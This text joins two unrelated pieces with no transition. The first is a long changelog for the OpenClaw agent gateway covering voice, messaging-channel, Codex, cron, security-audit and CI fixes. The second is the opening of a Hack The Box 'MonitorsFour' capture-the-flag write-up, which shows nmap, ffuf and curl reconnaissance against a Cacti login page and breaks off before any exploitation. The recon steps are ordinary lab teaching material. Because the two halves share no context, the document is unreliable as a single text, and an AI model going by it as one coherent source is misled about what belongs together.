• Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (#86798, #86355) Thanks @ngutman.
• Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (#84649, #85843, #86517, #86678)
• Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.
• Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.
• Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.
• Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.
• Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.
• Cron: default cron.maxConcurrentRuns to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.
• QA-Lab: add qa coverage --match <query> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.
• Discord/model picker: surface an alpha-bucket select (e.g. A–G (12) · H–N (18) · O–Z (5)) when the provider list or a provider's model list exceeds 25 items, so configs with provider/* wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.
• Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes #12831. Thanks @BunsDev.
• Build: include ui:build in the full and ciArtifacts profiles of scripts/build-all.mjs so pnpm build always rebuilds dist/control-ui after tsdown cleans dist, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (#85206)
• iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (#86355) Thanks @ngutman.
• Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (#86437)

Fixes

• Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (#86989, #86990, #86991, #86992, #86993, #86994) Thanks @keshavbotagent.

• Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.

• Agents/replay: repair legacy tool results before replay, preserve sessions_spawn transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (#82203, #86934, #87025) Thanks @martingarramon, @vincentkoc, and @joshavant.

• Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (#86677, #86476) Thanks @TurboTheTurtle and @pashpashpash.

• Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (#87030, #86818, #86559) Thanks @joshavant, @luoyanglang, and @stevenepalmer.

• CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (#87031, #85387) Thanks @giodl73-repo and @vincentkoc.

• Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (#86814, #86964) Thanks @Alix-007 and @vincentkoc.

• Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.

• Telegram/network: treat ENETDOWN as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (#86762) Thanks @TurboTheTurtle.

• Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (#83873, #85361, #85555, #85656, #85709, #86299, #86553) Thanks @SebTardif, @luoyanglang, and @neeravmakwana.

• iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (#82642, #85475, #86569, #86705, #86706, #86770) Thanks @homer-byte, @TurboTheTurtle, @swang430, and @omarshahine.

• WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect OPENCLAW_HOME, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (#83833, #85309, #85777, #85794, #85906, #86318, #86697) Thanks @sliverp, @neeravmakwana, and @Kailigithub.

• Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (#80227, #86238, #86487, #86571, #86595, #86601)

• Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (#85378, #85542, #85891, #85909, #86408)

• Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (#70473, #85764, #86014, #86134, #86427, #86944) Thanks @openperf, @fuller-stack-dev, @zhangguiping-xydt, and @ferminquant.

• Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (#85739, #85787, #86060, #86260, #86384, #86533) Thanks @liaoyl830.

• Install/release: support Alpine CLI installs and runtime floors, avoid npm min-release-age installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (#85491)

• Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (#85849, #85934, #86046, #86557)

• Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (#85776, #86037, #86437, #86857, #86923)

• Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (#80613, #82928, #85060, #85704, #85967, #86701) Thanks @brokemac79, @openperf, and @yaaboo-gif.

• Agents/sessions: include visibility metadata on restricted sessions_list results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (#86944) Thanks @ferminquant.

• Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid discovery.wideArea.domain and dns setup --domain values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks @mmaps.

• Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (#86312) Thanks @neeravmakwana.

• Telegram: treat /command@TargetBot bot-command entities as explicit mentions for the addressed bot so requireMention groups no longer drop targeted commands or captions. Fixes #84462. (#86553) Thanks @luoyanglang.

• CI: bound Docker/Bash E2E tarball npm installs with OPENCLAW_E2E_NPM_INSTALL_TIMEOUT so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.

• CI: keep OPENCLAW_TESTBOX=1 pnpm check:changed delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.

• CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged git fetch.

• CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped openclaw child processes cannot wedge the scheduled install smoke.

• iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under ~/Library/Messages/Attachments (including the wildcard /Users/*/Library/Messages/Attachments root) are read through the existing inbound path policy instead of being rejected as path-not-allowed. Literal localRoots stays workspace-scoped. Fixes #30170. (#86569)

• QQ Bot: respect OPENCLAW_HOME for outbound media path resolution so <qqmedia> sends no longer silently fail when HOME and OPENCLAW_HOME differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes #83562. Thanks @sliverp.

• Update: report the primary malformed openclaw.extensions payload error without adding a duplicate missing-main diagnostic. (#86596) Thanks @ferminquant.

• Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (#86620) Thanks @BryanTegomoh.

• Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (#86575) Thanks @ferminquant.

• IRC: store inbound channel routes with the canonical channel:#name target and join transient channel sends before writing. (#85906) Thanks @Kailigithub.

• Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident $0 total. (#85882) Thanks @MichaelZelbel.

• Agents/Codex: honor yolo app-server approval policy only for the full never plus danger-full-access case. (#85909) Thanks @earlvanze.

• Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (#82947) Thanks @SebTardif.

• Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (#80059) Thanks @pavelzak.

• Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (#85934) Thanks @SebTardif.

• Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (#86046) Thanks @SebTardif.

• Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct discord.com connections before opening the WebSocket. Fixes #80227. Thanks @Clivilwalker.

• Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (#84812) Thanks @marchpure.

• Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (#86501) Thanks @tianxiaochannel-oss88.

• Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (#86529) Thanks @ai-hpc.

• Gateway: emit plugin session_end/session_start hooks when agent.send rotates or replaces a session id, keeping hook lifecycle state aligned with sessions.changed notifications. Fixes #83507. (#85875) Thanks @brokemac79.

• OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes #72373. Thanks @brokemac79.

• Google: stop normalizing gemini-3.1-flash-lite to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes #86151. (#86240) Thanks @SebTardif.

• Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try nodejs-current, and report Alpine version guidance when repositories only provide older Node packages.

• Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes #80184. (#86570) Thanks @brokemac79.

• Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (#85489) Thanks @fuller-stack-dev.

• Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (#70473) Thanks @fuller-stack-dev.

• Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (#85542) Thanks @fuller-stack-dev.

• Agents/Codex: allow Codex app-server runs to bootstrap from CODEX_API_KEY or OPENAI_API_KEY when no Codex auth profile is configured.

• Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (#86408) Thanks @funmerlin and @VACInc.

• Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.

• Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute time paths so RSS probes can run Node and pnpm on fresh macOS runners.

• Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.

• TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.

• Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale sessions.json.*.tmp sidecars. Fixes #56827. Thanks @openperf.

• Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.

• Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.

• Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.

• Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes #86518. (#86533) Thanks @liaoyl830.

• Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.

• Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.

• Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run ENOENT failures. Fixes #82928. Thanks @galiniliev.

• Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (#86487) Thanks @neeravmakwana.

• Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.

• Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.

• Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.

• Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (#86177) Thanks @TurboTheTurtle.

• Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.

• Kilo Gateway: send string stop sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (#86461) Thanks @SebTardif.

• Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.

• Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (#86037)

• Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind SessionWriteLockTimeoutError. Fixes #86014. Thanks @openperf.

• Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.

• Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (#86327) Thanks @abnershang.

• Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (#84409) Thanks @samzong.

• Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (#85733)

• Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (#85348) Thanks @osolmaz.

• Gateway: clear the runtime config snapshot before SIGUSR1 in-process restarts so config changes survive the next gateway loop. (#86388) Thanks @XuZehan-iCenter.

• Models: show OAuth delegation markers as configured models.json auth while keeping runtime route usability checks strict. (#86378) Thanks @rohitjavvadi.

• Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (#86313) Thanks @ferminquant.

• Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes #84922. (#86415) Thanks @IWhatsskill.

• Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (#86260) Thanks @stevenepalmer.

• Security/Audit: flag webhook hooks.token reuse of active Gateway password auth in openclaw security audit while keeping password-mode startup compatibility. (#84338) Thanks @coygeek.

• QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes #85267. (#85271) Thanks @SymbolStar.

• Agents/heartbeat: stop heartbeat turns after the first valid heartbeat_respond so repeated response loops do not burn tokens. (#86357) Thanks @udaymanish6.

• Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.

• Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (#86302) Thanks @SebTardif.

• Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (#85704) Thanks @yaaboo-gif.

• Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (#86299) Thanks @SebTardif.

• Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (#86318) Thanks @neeravmakwana.

• Cron: accept leading-plus relative durations such as +5m for one-shot --at schedules. (#86341) Thanks @mushuiyu886.

• Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (#85933) Thanks @fuller-stack-dev.

• Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.

• QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.

• Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run pnpm check:changed from the intended diff.

• xAI/LM Studio: avoid buffering ordinary bracketed or final prose until stream completion while watching for plain-text tool-call fallbacks.

• Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes #86102. (#86384) Thanks @1052326311.

• Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (#86238) Thanks @fuller-stack-dev.

• Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (#86571) Thanks @joshavant.

• Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.

• Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that pnpm build includes ui:build.

• Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.

• Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.

• QA-Lab: make the synthetic OpenAI provider honor generic reply exactly: directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.

• Gateway: abort active agent RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.

• Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.

• Build: route scripts/ui.js through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce dist/control-ui.

• Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.

• Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.

• Install/update: bypass npm min-release-age policies with --min-release-age=0 instead of --before so hosted installers keep working on npm versions that reject the combined config. (#84749) Thanks @TeodoroRodrigo.

• Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes #85639. Thanks @openperf.

• WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes #86347. Thanks @shakkernerd.

• Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.

• Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.

• Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.

• Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (#81153) Thanks @ai-hpc.

• xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (#86222) Thanks @fuller-stack-dev.

• CLI: suppress benign self-update version-skew warnings during package post-update finalization.

• Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or n/a results.

• Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.

• Docker: restore writable ~/.config in runtime images. Fixes #85968. Thanks @hkoessler and @Bartok9.

• Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.

• Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.

• Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.

• Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (#86287) Thanks @ferminquant.

• Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.

• Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.

• Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on control_request, and document that OpenClaw exec policy is authoritative. Fixes #80819. (#86330, from #81971) Thanks @guthirry and @sallyom.

• Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude --permission-mode for managed live sessions. (#86557) Thanks @sallyom.

• Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.

• Codex: log when implicit app-server never approvals are promoted for OpenClaw tool policy, including whether the trigger was a before_tool_call hook or trusted tool policy.

• Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks @amknight.

• Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (#83971) Thanks @damianFelixPago.

• Telegram: route normal [telegram][diag] polling diagnostics through runtime.log while keeping non-diag warnings and persistence failures on runtime.error, so healthy polling startup no longer looks like an error. Fixes #82957. (#82958) Thanks @galiniliev.

• Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (#86286) Thanks @jason-allen-oneal.

• Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (#85690) Thanks @ngutman.

• Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (#86134) Thanks @zhangguiping-xydt.

• iMessage: dedupe watcher startup when channels.imessage.accounts lists both default and a named account that point at the same local Messages source, so the gateway no longer spawns two imsg rpc processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and openclaw doctor flags the redundant account with a rebinding hint. Fixes #65141. (#86705) Thanks @swang430.

Hello everyone, This is Alham Rizvi again, finally this machine is retired and here is my writeup for it, So let’s get started. Before we begin, make sure to follow me on my socials for more HTB writeups, CTF content, and cybersecurity stuff.Hello everyone, finally this machine is retired and here is my writeup for it.

Attack Chain

Reconaissance

Port scanning

We start with classic recon by performing a full port scan. The goal here is to identify exposed services and understand the attack surface before interacting with the target further.

alhamrizvi@alhams-fedora:~/mf$ sudo nmap -sS -sV 10.129.1.102 -oN out.txt
[sudo] password for alhamrizvi:
...

80/tcp   open  http    nginx
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0
...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.67 seconds

Port 80 hosts the web application behind Nginx, while port 5985 exposes WinRM, indicating the backend system is Windows. The presence of a PHPSESSID cookie also suggests the site is using PHP sessions.

Since the main website appeared mostly static, the next step was searching for hidden subdomains, as internal panels and monitoring applications are commonly hosted separately.

Subdomain Discovery

alhamrizvi@alhams-fedora:~/mf$ ffuf -w /usr/share/seclists/subdomains-top1million-5000.txt \
-u http://monitorsfour.htb \
-H "Host: FUZZ.monitorsfour.htb"
...

cacti     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 121 ms]
...

The scan returned a valid subdomain,

This revealed cacti.monitorsfour.htb, which is running Cacti, a network monitoring platform known for several historical vulnerabilities including authentication bypasses and RCE issues.

To access it locally, we add the subdomain to /etc/hosts:

echo "10.129.12.34 cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

Web Enumeration

alhamrizvi@alhams-fedora:~/mf$ # 
curl -sL -v http://cacti.monitorsfour.htb/ 2>&1 | head -40

curl -sL http://cacti.monitorsfour.htb/cacti/ | grep -i "version\|cacti"

curl -sL http://cacti.monitorsfour.htb/cacti/index.php | grep -i "version"
* Host cacti.monitorsfour.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.52.140, 10.129.1.102
*   Trying 10.129.52.140:80...
* connect to 10.129.52.140 port 80 from 10.10.14.98 port 38536 failed: No route to host
*   Trying 10.129.1.102:80...
* Connected to cacti.monitorsfour.htb (10.129.1.102) port 80
* using HTTP/1.x
> GET / HTTP/1.1
> Host: cacti.monitorsfour.htb
> User-Agent: curl/8.15.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 302 Found
< Server: nginx
< Date: Thu, 21 May 2026 04:55:29 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/8.3.27
< Location: /cacti
* Ignoring the response-body
< 
* Connection #0 to host cacti.monitorsfour.htb left intact
* Issue another request to this URL: 'http://cacti.monitorsfour.htb/cacti'
* Re-using existing http: connection with host cacti.monitorsfour.htb
> GET /cacti HTTP/1.1
> Host: cacti.monitorsfour.htb
> User-Agent: curl/8.15.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 301 Moved Permanently
< Server: nginx
< Date: Thu, 21 May 2026 04:55:30 GMT
< Content-Type: text/html
< Content-Length: 162
< Location: http://cacti.monitorsfour.htb/cacti/
< Connection: keep-alive
 <title>Login to Cacti</title>
  var cactiConsoleAllowed=false;
  var cactiGraphsAllowed=false;
  var cactiHome='Cacti Home';
  var cactiConsole='Console';
  var cactiMisc='Miscellaneous';
  var cactiDashboards='Dashboards';
  var cactiGeneral='General';
  var cactiCharts='Charts';
  var cactiProjectPage='Cacti Project Page';
  var cactiCommunityForum='User Community';
  var cactiUser='User';
  var cactiDocumentation='Documentation';
  var cactiSpine='Spine';
  var cactiRRDProxy='RRDProxy';
  var cactiKeyboard='Keyboard';
  var cactiShortcuts='Shortcuts';
  var cactiContributeTo='Contribute to the Cacti Project';
  var cactiDevHelp='Help in Developing';
  var cactiDonate='Donation &amp; Sponsoring';
  var cactiProfile='Profile';
  var cactiTheme='Theme';
  var cactiClient='Client';
  var cactiTranslate='Help in Translating';
  var aboutCacti='About Cacti';
  var justCacti='Cacti';
 <link href='/cacti/include/themes/modern/images/favicon.ico' rel='shortcut icon'>
 <link href='/cacti/include/themes/modern/images/cacti_logo.gif' rel='icon' sizes='96x96'>
 <link href='/cacti/include/themes/modern/jquery.zoom.css?aca45860e0c75f2c485ddfc17160d597' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/jquery-ui.css?a51f0bd06d47bdcf4d6563ca44ac7c6d' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/default/style.css?bfe1c8d80ca469731f471745268ea146' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/jquery.multiselect.css?f83e570ae998a2a6f7b07f850c58ce8b' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/jquery.multiselect.filter.css?bdc527651975f5ccfb3fd6f91af0bb93' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/jquery.timepicker.css?431ab7d4ef48afd9c39a647c5c990b0a' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/jquery.colorpicker.css?24366e47db1fb3b58658a53d9a445214' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/billboard.css?695c0029bc6c0f91e299c84485669130' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/pace.css?cca67d465b4ea3986786a0679604a367' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/Diff.css?49e6953c7461abf91ec4e7346d34bd85' type='text/css' rel='stylesheet'>
<link href='/cacti/include/fa/css/all.css?02e393dfbbce98f9ae76cddc7ea21e52' type='text/css' rel='stylesheet'>
<link href='/cacti/include/vendor/flag-icons/css/flag-icons.css?ab806eafe572d8149eb3dba8d0283db7' type='text/css' rel='stylesheet'>
<link href='/cacti/include/themes/modern/main.css?89dc22c5a1bc9af4ae7b7ae5e9d6e4d1' type='text/css' rel='stylesheet'>
<script type='text/javascript' src='/cacti/include/js/screenfull.js?60a2ad1d452950179fa4d2c5d1b5dee4' async></script>
<script type='text/javascript' src='/cacti/include/js/jquery.js?d16de7de202afe54100a95dea1d4b134'></script>
<script type='text/javascript' src='/cacti/include/js/jquery-ui.js?bb9963f8eb6cb3e33d6f59112ddb2231'></script>
<script type='text/javascript' src='/cacti/include/js/jquery.ui.touch.punch.js?4195aad6f616651c00557e84c6721646' async></script>
<script type='text/javascript' src='/cacti/include/js/jquery.cookie.js?0b804d4f90de70b032a9986b22165b75'></script>
<script type='text/javascript' src='/cacti/include/js/js.storage.js?32df3a56e44d570b7e3177d71e892214'></script>
<script type='text/javascript' src='/cacti/include/js/jstree.js?5d3a3b5f68b0163175e5630a5e8a3a66'></script>
<script type='text/javascript' src='/cacti/include/js/jquery.hotkeys.js?fbf82bcab286e9fc5cdf863eb067230f' async></script>
<script type='text/javascript' src='/cacti/include/js/jquery.tablednd.js?a33b14ebf8ce2abf7911e62cbc19e0c5' async></script>
<script type='text/javascript' src='/cacti/include/js/jquery.zoom.js?a4dcf91fed1e4be77b91d1569f4802dc' async></script>
